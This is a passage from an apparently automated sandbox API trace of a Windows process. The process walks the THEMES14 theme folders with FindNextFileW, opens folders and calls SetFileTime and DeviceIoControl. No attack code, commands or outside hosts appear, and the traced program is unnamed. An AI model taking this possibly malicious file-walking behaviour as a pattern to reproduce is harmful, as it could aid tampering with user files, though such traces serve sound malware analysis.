cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51fe2db0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0054.859] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x61cccf30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ICE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x539538d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="INDUST", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d5e3f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d5e3f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IRIS", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567be5d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="JOURNAL", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LAYERS", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x66247150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x66247150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LEVEL", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NETWORK", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PAPYRUS", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PIXEL", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d084c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROFILE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QUAD", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a89bd50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d1db890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d1db890, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICEPAPR", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RIPPLE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d489150, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RMNSQUE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d24dcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d24dcb0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SATIN", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d2c00d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d2c00d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SKY", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a980590, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SLATE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5aad71f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SONORA", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SPRING", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0054.860] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc24e4f00, ftCreationTime.dwHighDateTime=0x1c06b0e, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc24e4f00, ftLastWriteTime.dwHighDateTime=0x1c06b0e, nFileSizeHigh=0x0, nFileSizeLow=0x1c6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES.INF", cAlternateFileName="")) returned 1 [0054.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.860] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.860] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x9ebfc0 [0054.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9eea98 [0054.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ed588) returned 1 [0054.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x9eadf0 [0054.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3978 [0054.861] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x9ebfc0) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5ad387f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATER", cAlternateFileName="")) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7084efd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7084efd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WATERMAR", cAlternateFileName="")) returned 0 [0054.861] GetLastError () returned 0x12 [0054.861] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e90c0 [0054.861] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0054.861] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AFTRNOON", cAlternateFileName="")) returned 1 [0054.861] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x9f3a80 [0054.861] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x512f1610, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0054.862] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AFTRNOON" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\aftrnoon"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x160 [0054.862] SetFileTime (hFile=0x160, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0054.862] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x9f5648 [0054.862] DeviceIoControl (in: hDevice=0x160, 